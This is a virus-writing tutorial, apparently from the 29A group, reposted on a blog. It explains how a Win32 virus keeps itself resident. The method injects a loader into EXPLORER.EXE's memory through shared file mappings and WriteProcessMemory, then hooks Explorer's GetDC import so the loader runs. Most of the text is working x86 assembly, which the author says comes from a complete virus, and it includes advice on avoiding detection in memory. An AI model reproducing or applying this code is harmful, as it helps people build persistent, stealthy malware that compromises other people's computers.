驻留代码--内存映像

To achieve that our virus remains residing in the system once finished the application that throw it is not an easy task in Win32. The memory that the virus has reserved will disappear together with the infected program. The same thing happens with per-process resident viruses:  They will remain while the application that throw them this being executed. 
 
To achieve the total residence in Win32 we can appeal to several tricks:  
 

Residence Method
- (1)  We can add to the virus the capacity to drop its code to disk. The idea is to create an executable that contains to the virus and to execute it.
 
- (2) It is also interesting the possibility to register the virus like a service of the system, using RegisterServiceProcess on Win9x or accesing the service control manager on WinNt/2000... But this also requires to  write the virus to disk. 
 
- (3)To give to the virus a driver structure is another possibility, but we
  would have to deal with the incompatibility of formats Win9x/NT/2000.

- (4)We could leave aside the compatibility with Win32 and to use some abrupt
  residence method. In this case we could opt to jump at ring-0, to use
  VxDCall or any other technique.

  Previous words gives us four methos of residence vrius. 

In this I article I will expose a residence technique: To infect  EXPLORER.EXE in memory and to stay resident on its address space. Although this technique is not new, I have not seen any virus that implements it under WinNt/2000 ,  and neither I have found any article on it... so there we go!

 --------
 Strategy
 --------

To achieve our objective we will follow four steps:  
 
(1) The first thing will be to reserve memory for the virus. We will use CreateFileMappingA and MapViewOfFile. This way the memory that we reserve will be visible from another process (remember that the memory-mapped files allows us to share memory among processes). 

(2) The next thing will be to locate the process EXPLORER.EXE and to be able to access it.

(3) Once we have access to EXPLORER.EXE in memory we will look for a hole on it. We will inject a small block of code block. The purpose of this code is to make our memory-block visible from EXPLORER.EXE process.

-(4) For finish we will install a hook in an API used by EXPLORER.EXE, so that
  when this API is called, the code that we have added receives the control.

 ----------------------
 Allocate shared memory
 ----------------------

By means of the use of memory-mapped files we can reserve a block of memory
and then access it from another process. We will also take advantage of not
well-known characteristic of the memory-mapped files: a memory-mapped file
doesn't have to be linked to a file on disk. Look at this code:

  lea eax,dword ptr [ebp+szObjectName]
  push eax
  push SIZEOF_MEMORYBLOCK
  push 00000000h
  push PAGE_READWRITE
  push 00000000h
  push 0FFFFFFFFh
  call dword ptr [ebp+a_CreateFileMappingA]
  or eax,eax
  jz GoBack2Host

  mov edi,eax

  call dword ptr [ebp+a_GetLastError]  
  cmp eax,000000B7h      ; ERROR_ALREADY_EXISTS
  je GoBack2Host

The first parameter pushed into stack is the name we are going to give to
our memory-mapped file object. Is a good idea to make this name change from
one system to another, so the virus wont be detected in memory just by
looking for a known memory-mapped object name.

Next comes the size of the region of memory we want to allocate, followed
by the high order dword (typically null).

The access rights comes now, PAGE_READWRITE will allow us to read/write to
our memory-block.

The next parameter is ignored, so we use null for it.

The trick comes with the last pushed parameter: The file handle to the file
from which to create the mapping object. By specifying 0FFFFFFFFh as
handle the function creates a file-mapping object of the specified size
backed by physical memory rather than by a named file in the file system.
This file-mapping object can be shared by name.

On return we will get a null EAX register if the function call failed.

If the object existed before the function call, the function returns a handle
to the existing object (with its current size, not the specified size) and
GetLastError returns ERROR_ALREADY_EXISTS. This gives to us an extra
feature: installation check at the same time we allocate memory.

Its now time to get a view of this newly created filemapping:

  push 00000000h
  push 00000000h
  push 00000000h
  push FILE_MAP_WRITE
  push edi
  call dword ptr [ebp+a_MapViewOfFile]
  or eax,eax
  jz GoBack2Host

The first three dwords are the number of bytes of the file to map
(specify zero to map the entire file) and the offset.

Next comes the access rights. FILE_MAP_WRITE will give us Read/Write access.

The last parameter (EDI) is a handle to the file-mapping object created by
CreateFileMappingA.
As result of the above code we obtain a pointer to a block of memory of
the requested size.

As last step, we write the virus to the allocated memory.

 --------------------------------
 Looking for EXPLORER.EXE process
 --------------------------------

The way we will follow depends on the operating system version, so lets
start with something like this:

  lea esi,dword ptr [ebp+system_version]
  push esi
  mov dword ptr [esi],00000094h
  call dword ptr [ebp+a_GetVersionEx]
  or eax,eax
  jz GoBack2Host

  add esi,00000010h  
  cld
  lodsb

  cmp eax,VER_PLATFORM_WIN32_NT
  je MemInfectWinNt

  cmp eax,VER_PLATFORM_WIN32_WINDOWS
  je MemInfectWin9x

Now let see each part by separate...

 ----------------------------------
 Find EXPLORER.EXE under Windows 9x
 ----------------------------------

In windows9x we have a group of functions dedicated to enumerate the
processes, modules and threads present in the system. These are the
TOOLHELP32 functions, that reside in the KERNEL32.DLL, and are available
only under Win9x:

  CreateToolhelp32Snapshot
  Heap32First
  Heap32ListFirst
  Heap32ListNext
  Heap32Next
  Module32First
  Module32Next
  Process32First
  Process32Next
  Thread32First
  Thread32Next
  Toolhelp32ReadProcessMemory

We will concentrate on 5 of these functions:

- CreateToolhelp32Snapshot

Allow us to take a snapshot of the system. The rest of the functions will
allow us to access to the information taken in the snapshot.

- Process32First and Process32Next

Retrieves information about the processes encountered in a system snapshot.

- Module32First and Module32Next

Retrieves information about the modules associated with a process.

Lets see this functions working:

  push 00000000h
                push TH32CS_SNAPPROCESS
                call dword ptr [ebp+a_CreateToolhelp32Snapshot]
                cmp eax,0FFFFFFFFh
                je ExitMemWin9x

                mov dword ptr [ebp+hSnapshot],eax

The first parameter specifies the process identifier and will be ignored when
taking a snapshot of running processes.

The next parameter specifies portions of the system to include in the
snapshot. This parameter can be one of the following values:

  TH32CS_INHERIT  Makes the returned handle
     inheritable

  TH32CS_SNAPALL   To get a complete snapshot of the
     whole system

  TH32CS_SNAPHEAPLIST  To include the heap list of the
     specified process in the snapshot

  TH32CS_SNAPMODULE  To list modules of the specified
     process

  TH32CS_SNAPPROCESS  To list processes

  TH32CS_SNAPTHREAD  Includes the thread list

Lets do a TH32CS_SNAPPROCESS snapshot and use Process32First and
Process32Next to search for EXPLORER.EXE

                lea eax,dword ptr [ebp+ProcessEntry]
                push eax
                mov dword ptr [eax],SIZEOFPROCESSENTRY
                push dword ptr [ebp+hSnapshot]
                call dword ptr [ebp+a_Process32First]
                or eax,eax
                jz CloseSnapshot

CheckProcEntry: ;
  ;Check here if it is EXPLORER.EXE
  ;

                lea eax,dword ptr [ebp+ProcessEntry]
                push eax                                ;lppe
                push dword ptr [ebp+hSnapshot]          ;hSnapshot
                call dword ptr [ebp+a_Process32Next]
                or eax,eax
                jnz CheckProcEntry

Both Process32First and Process32Next use a structure called PROCESSENTRY32.
This is our definition of a PROCESSENTRY32:

ProcessEntry                    equ $

ProcEdwSize                     dd 00000000h
ProcEcntUsage                   dd 00000000h
ProcEth32ProcessID              dd 00000000h
ProcEth32DefaultHeapID          dd 00000000h
ProcEth32ModuleID               dd 00000000h
ProcEcntThreads                 dd 00000000h
ProcEth32ParentProcessID        dd 00000000h
ProcEpcPriClassBase             dd 00000000h
ProcEdwFlags                    dd 00000000h
ProcEszExeFile                  db MAX_PATH dup (00h)

SIZEOFPROCESSENTRY              equ ($-ProcessEntry)

Before calling this functions the member ProcEdwSize have to be loaded with
the structure size. Otherwise the call fails.

On return the structure is filled with the corresponding information. We can
have a look at the ProcEszExeFile member: It contains the full path and
filename of the process being examined. This will allow us to determine if
this is EXPLORER.EXE (i remove the code to do this from the example, as it
is not interesting for the purpose of this article).

Once EXPLORER.EXE process have been located we close the snapshot and create
a new one. This time we will request a snapshot of the modules corresponding
to the process EXPLORER.EXE

  push dword ptr [ebp+hSnapshot]
                call dword ptr [ebp+a_CloseHandle]

                push dword ptr [ebp+ProcEth32ProcessID]
                push TH32CS_SNAPMODULE

                call dword ptr [ebp+a_CreateToolhelp32Snapshot]
                cmp eax,0FFFFFFFFh
                je ExitMemWin9x

                mov dword ptr [ebp+hSnapshot],eax

To access to the information returned by this snapshot we will use
Module32First and Module32Next. One of the obtained modules will be
EXPLORER.EXE process by itself. These apis returns the information obtained
in the following structure:

ModuleEntry                     equ $

ModEdwSize                      dd 00000000h
ModEth32ModuleID                dd 00000000h
ModEth32ProcessID               dd 00000000h
ModEGlblcntUsage                dd 00000000h
ModEProccntUsage                dd 00000000h
ModEmodBaseAddr                 dd 00000000h
ModEmodBaseSize                 dd 00000000h
ModEhModule                     dd 00000000h
ModEszModule                    db MAX_MODULE_NAME32+1 dup (00h)
ModEszExePath                   db MAX_PATH dup (00h)

SIZEOFMODULEENTRY               equ ($-ModuleEntry)

Lets see the above mentioned working:

                lea edi,dword ptr [ebp+ModuleEntry]
                push edi
                mov dword ptr [edi],SIZEOFMODULEENTRY
                push eax
                call dword ptr [ebp+a_Module32First]
                or eax,eax
                jz CloseSnapshot

CheckEMod:      mov eax,dword ptr [ebp+ProcEth32ModuleID]
                cmp eax,dword ptr [ebp+ModEth32ModuleID]
                je MODULE_FOUND
               
                push edi                                ;lpme
                push dword ptr [ebp+hSnapshot]          ;hSnapshot
                call dword ptr [ebp+a_Module32Next]
                or eax,eax
                jnz CheckEMod

                jmp CloseSnapshot       ;Abort if module not found

For each returned module we compare its ModEth32ModuleID member with the
ProcEth32ModuleID member returned by the previous process snapshot.

To obtain the module of the process EXPLORER.EXE has an important fact. It
is the field ModEhModule that contains the module handle... And this, in
Win32, is equivalent to the base address where the module is loaded in
memory.

 ---------------------------------------------------
 Find EXPLORER.EXE under Windows NT and Windows 2000
 ---------------------------------------------------

All the above-mentioned is not applicable to Windows NT where the functions
of TOOLHELP32 don't exist. To be able to obtain a list of the processes and
modules we will have to appeal an additional DLL: PSAPI.DLL

This dll provides us the following functions:

  EmptyWorkingSet
  EnumDeviceDrivers
  EnumProcesses
  EnumProcessModules
  GetDeviceDriverBaseName
  GetDeviceDriverFileName
  GetMappedFileName
  GetModuleBaseName
  GetModuleFileNameEx
  GetModuleInformation
  GetProcessMemoryInfo
  GetWsChanges
  InitializeProcessForWsWatch
  QueryWorkingSet

...but to achieve our objective we will require only of the following ones:

- EnumProcesses

Will gives us an array filled with the process id's of each running process.

- EnumProcessModules

Will return to us an array filled with the module handle's of each module
loaded by a specified process.

Example:

  lea edi,dword ptr [ebp+EP_Bytes]
  push edi
  push 00000080h
  lea esi,dword ptr [ebp+ProcessIdList]
  push esi
  call dword ptr [ebp+a_EnumProcesses]
  or eax,eax
  jz ExitMemNt

  mov ecx,dword ptr [edi]
  shr ecx,02h
  jecxz ExitMemNt

The first parameter is a pointer to a variable that receives the number of
bytes returned in the array.

The second one is the size of the array. The function fails if the specified
size arent enough to hold the complete list.

The last parameter is a pointer to the array that recives the the list of
process identifiers.

To determine how many processes were enumerated by the call to EnumProcesses,
divide the resulting value in the EP_Bytes parameter by 04h (size of
a DWORD).

Now lets try to open the each returned process:

  push dword ptr [ebp+PROCESS_ID]
  push 00000000h
  push  PROCESS_QUERY_INFORMATION or /
   PROCESS_VM_READ or  /
   PROCESS_VM_WRITE or  /
   PROCESS_VM_OPERATION

  call dword ptr [ebp+a_OpenProcess]

Most of the returned processes wont allow us to open them with the specified
access rights. But thats not the case for EXPLORER.EXE

Once opened, we have a handle to a process... We still have to see if its
EXPLORER.EXE

Now, we are going to retrieve the first module for this process:

  lea edx,dword ptr [ebp+EP_Bytes]
  push edx
  push 00000080h
  lea esi,dword ptr [ebp+ModuleList]
  push esi
  push eax

  call dword ptr [ebp+a_EnumProcessModules]
  or eax,eax
  jz NCProcess

  cld
  lodsd

  mov dword ptr [ebp+hModule],eax

Note that there is no need to look for other modules: The first returned
module is the one of EXPLORER.EXE by itself.

Now we have the module handle (load address) of a process... Lets use
the kernel32 function GetModuleBaseNameA to get the name of the module
and check if its EXPLORER.EXE

  push MAX_PATH
  lea esi,dword ptr [ebp+BufStrFilename]
  push esi
  push dword ptr [ebp+hModule]
  push dword ptr [ebp+hProcess]

  call dword ptr [ebp+a_GetModuleBaseNameA]
  or eax,eax
  jz NCProcess

 --------
 Takeover
 --------

The following part is common for Win9x/Nt/2000

Once we have located the base address (module handle) where EXPLORER.EXE
resides we can use the functions ReadProcessMemory and WriteProcessMemory on
it.

I wrote the following routines that do that:

;Read process memory routine
;
;On entry:
;  eax -> Pointer to the base address from which to read
;  ecx -> Specifies the requested number of bytes to read
;  esi -> Pointer to a buffer that receives the contents from
;         the address address
;
;  [ebp+hProcess] contains the target process handle
;
;On exit:
;  eax -> NULL if error
;
;  ebx, ecx, esi, edi, ebp preserved

ReadProcessMem: push edi
  push ecx

  lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesRead
  push edi
  push ecx    ;nSize
  push esi    ;lpBuffer
  push eax    ;lpBaseAddress
  push dword ptr [ebp+hProcess]  ;hProcess

  call dword ptr [ebp+a_ReadProcessMemory]

  pop ecx

  or eax,eax
  jz ExitREM

  cmp dword ptr [edi],ecx
  je ExitREM

  xor eax,eax

ExitREM: pop edi
  cld
  ret

;Write process memory routine
;
;On entry:
;  eax -> Pointer to the base address in the specified process
;         to which data will be written
;  ecx -> Specifies the number of bytes to write
;  esi -> Pointer to the buffer that contains data to be written
;
;  [ebp+hProcess] contains the target process handle
;
;On exit:
;  eax -> NULL if error
;
;  ebx, ecx, esi, edi, ebp preserved

WriteProcessMem:push edi
  push ecx

  lea edi,dword ptr [ebp+EP_Bytes]  ;lpNumberOfBytesWritten
  push edi
  push ecx    ;nSize
  push esi    ;lpBuffer
  push eax    ;lpBaseAddress
  push dword ptr [ebp+hProcess]  ;hProcess

  call dword ptr [ebp+a_WriteProcessMemory]

  pop ecx

  or eax,eax
  jz ExitWEM

  cmp dword ptr [edi],ecx
  je ExitWEM

  xor eax,eax

ExitWEM: pop edi
  cld
  ret

By means of this routines we can Read/Write from/to EXPLORER.EXE memory
image.

Now we have the following:

- A handle over EXPLORER.EXE process with write access
- The base address where EXPLORER.EXE resides

What we can do with this? The answer is simple: Inject our virus in the process
of EXPLORER.EXE, so that it remains there when the infected application finishes.

Step by step. To begin we locate the section table. Once there we search on it for
a suitable section.

  mov ebx,dword ptr [ebp+hModule]
  mov ecx,00000004h
  lea esi,dword ptr [ebp+Explorer_MZ_lfanew]
  mov eax,ebx
  add eax,MZ_lfanew
  call ReadProcessMem
  or eax,eax
  jz FE_Exit
 
  lodsd  ;There is a CLD at the end of ReadProcessMem
  or eax,eax ;Now esi -> Explorer_FH_SizeOfOptionalHeader
  jz FE_Exit

  ; eax -> MZ_lfanew

  add eax,ebx
  mov edi,eax
  add eax,00000004h + FH_SizeOfOptionalHeader
  dec ecx
  dec ecx
  call ReadProcessMem
  or eax,eax
  jz FE_Exit

  lodsw  ;Just to do
    ;esi -> Explorer_FH_NumberOfSections
  mov eax,edi  
  add eax,00000004h + FH_NumberOfSections
  call ReadProcessMem
  or eax,eax
  jz FE_Exit

  lodsw  ;esi -> Explorer_SectionHeader
  movzx ecx,ax ;ecx -> Number of sections

  movzx eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]
  add edi,eax
  add edi,00000004h + IMAGE_SIZEOF_FILE_HEADER


We need a section in which we can read and write. A section that contains
data already initialized. If the desired attributes are found, then we see
if the section have some free space for us ( SH_SizeOfRawData > SH_VirtualSize ).
    
ExplorerHole: push ecx

  mov eax,edi
  mov ecx,IMAGE_SIZEOF_SECTION_HEADER
  call ReadProcessMem
  or eax,eax
  jz E_NextSection

  ;There is free space ?

  cmp dword ptr [esi+SH_Characteristics],   /
        IMAGE_SCN_MEM_READ or   /
     IMAGE_SCN_MEM_WRITE or  /
     IMAGE_SCN_CNT_INITIALIZED_DATA
  jne E_NextSection

  mov eax,dword ptr [esi+SH_SizeOfRawData]
  sub eax,dword ptr [esi+SH_VirtualSize]
  js E_NextSection

  cmp eax,SIZEOF_EVL
  jae Ok_E_Section

  ;Try next section

E_NextSection: add edi,ecx
  pop ecx
  loop ExplorerHole

  ;No suitable section found

  jmp FE_Exit

once we have found a section to our measure, we write on it a block of code, we will
talk close about this code later.

Ok_E_Section: pop ecx         ;Cleanup stack

  ;Setup some values in the code we want to write to EXPLORER.EXE

  mov eax,dword ptr [ebp+a_GetDC]
  mov dword ptr [ebp+EVL_a_OrginalApiAddr],eax

  mov eax,dword ptr [ebp+a_OpenFileMappingA]
  mov dword ptr [ebp+EVL_a_OpenFileMapping],eax
  mov eax,dword ptr [ebp+a_MapViewOfFile]
  mov dword ptr [ebp+EVL_a_MapViewOfFile],eax

  mov eax,ebx
  add eax,dword ptr [esi+SH_VirtualAddress]
  add eax,dword ptr [esi+SH_VirtualSize]

  mov dword ptr [ebp+Explorer_Patch],eax

  mov ecx,SIZEOF_EVL
  lea esi,dword ptr [ebp+EVL_code]
  call WriteProcessMem
  or eax,eax
  jz FE_Exit

Once we have written our loader into EXPLORER.EXE we prepare to put a hook in an api.
This hook will pass control to this injected code.

  ;Go to EXPLORER.EXE data directory
  
  mov eax,ebx
  add eax,dword ptr [ebp+Explorer_MZ_lfanew]
  add eax,00000004h +      /
   IMAGE_SIZEOF_FILE_HEADER +   /
   OH_DataDirectory.DE_Import.DD_VirtualAddress

  mov ecx,00000004h
  lea esi,dword ptr [ebp+Explorer_DE_Import]
  call ReadProcessMem
  or eax,eax
  jz FE_Exit
 
  ;Search for USER32 import module descriptor

  lodsd
  add eax,ebx
  mov edi,eax
  
E_Search_K32: mov eax,edi
  mov ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
  lea esi,dword ptr [ebp+Explorer_ImportDescriptor]
  call ReadProcessMem
  or eax,eax
  jz FE_Exit

  ;Last import module descriptor!?

  cmp dword ptr [esi],00000000h
  je FE_Exit

  ;Check import module descriptor ID_Name
  
  mov eax,ebx
  add eax,dword ptr [esi+ID_Name]
  mov ecx,00000010h
  lea esi,dword ptr [ebp+Explorer_ID_Name]
  call ReadProcessMem
  or eax,eax
  jz FE_Exit

  push edi

  lea edi,dword ptr [ebp+BufStrFilename]
  call parse_filename
  mov esi,edx
  call get_str_crc32

  pop edi

  cmp edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ?
  je E_Found_K32

  ;Next import module descriptor

  add edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
  jmp E_Search_K32

  ;USER32.DLL import module descriptor found

E_Found_K32: mov edi,dword ptr [ebp+     /
       Explorer_ImportDescriptor+  /
       ID_FirstThunk]
  add edi,ebx
  mov ecx,00000004h
  lea esi,dword ptr [ebp+Explorer_Hook]
  
E_NextThunk: mov eax,edi
  call ReadProcessMem
  or eax,eax
  jz FE_Exit

  mov eax,dword ptr [esi]
  or eax,eax
  jz FE_Exit

  cmp eax,dword ptr [ebp+a_GetDC]
  je E_Poison

  add edi,ecx
  jmp E_NextThunk

  ;Gotcha!

E_Poison: mov eax,edi
  mov dword ptr [ebp+Explorer_Init_Hook],eax
  lea esi,dword ptr [ebp+Explorer_Patch]

  call WriteProcessMem ; ECX already loaded
  or eax,eax
  jz FE_Exit

  ;Done!!!! ieieie!!!!
  ;Insert rest of code here


  ret

FE_Exit: ;Residency proc failed!


  ret

If you have not given yourself bill: this code belongs to a complete virus.
You will find some calls to routines that don't appear in this I article. The
sample code is for orientation only.

Lets continue. This is the code we have injected into some free space inside
EXPLORER.EXE:

;Code injected into EXPLORER.EXE
;
;The purpose of this code is to get access to virus memory from EXPLORER.EXE

EVL_code equ $

  ;Let some space for the return address... then save all regs

  push eax
  pushad

  ;This is the original address of the API... Lets make the
  ;return address point to it

   db 0B8h  ; EAX -> Original API address
EVL_a_OrginalApiAddr dd 00000000h

  mov dword ptr [esp+cPushad],eax

  ;Attempt to avoid reentrance problems

  call MultiThreadSafe

  db 00h ;Only changed over hook code, not over main virus body

MultiThreadSafe:pop esi
  mov edi,esi
  cld
  lodsb
  or al,al
  jnz MayBeOnNextCall
  dec al
  stosb

  ;Try to open the virus file-mapping
  ;
  ;There is some kinda race condition here... If the infected
  ;program terminates before this point we wont be able to
  ;find the rest of the virus in memory...
  ;
  ;In that case the hook will stay present, and this code may
  ;be able to find the virus memory-mapping on next attemps

  call GetszObjName ;lpName

szObjectName db 10h dup (00h)

GetszObjName: push 00000000h  ;bInheritHandle
  mov edi,FILE_MAP_WRITE
  push edi  ;dwDesiredAccess

   db 0B8h  ; EAX -> OpenFileMappingA
EVL_a_OpenFileMapping dd 00000000h

  call eax
  or eax,eax
  jz MayBeOnNextCall

  ;The file-mapping is here... Get an image of it

  xor edx,edx
  push edx
  push edx
  push edx
  push edi
  push eax

   db 0B8h  ; EAX -> OpenFileMappingA
EVL_a_MapViewOfFile dd 00000000h

  call eax

  or eax,eax
  jz MayBeOnNextCall

  ;Great! We have access to virus allocated memory, but
  ;remember we are now inside EXPLORER.EXE !!!!
  ;
  ;Jump to virus complete image in order to complete
  ;initialization inside EXPLORER.EXE

  add eax,offset ExplorerInit - offset viro_sys
  call eax

  ;Restore regs and jump to original API code

MayBeOnNextCall:popad
  ret

SIZEOF_EVL equ $-EVL_code

The api GetDC in EXPLORER.EXE have been redirected so that it points to this code.
Once it receives the control, it looks for the block of shared memory
( the one we was talking about at the beginning of the article ). Once we obtain
a handle on this memory we already made sure the permanency in the system until
EXPLORER.EXE finishes ( probably at the end of the session, if it doesn't give an
error and it finishes before ).

Some of you may be wonder: Why the memory continues there after the infected
application terminates?. The reason is simple: Because the memory is not
released by the system until all the handles that make reference to it has been
closed. When the infected application terminates, it closes their handle to this
memory, but there is still one more open handle, property of EXPLORER.

And with this concludes this article. I hope you have enjoyed.

--
GriYo / 29A

I'm not in the business...
...I am the business

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值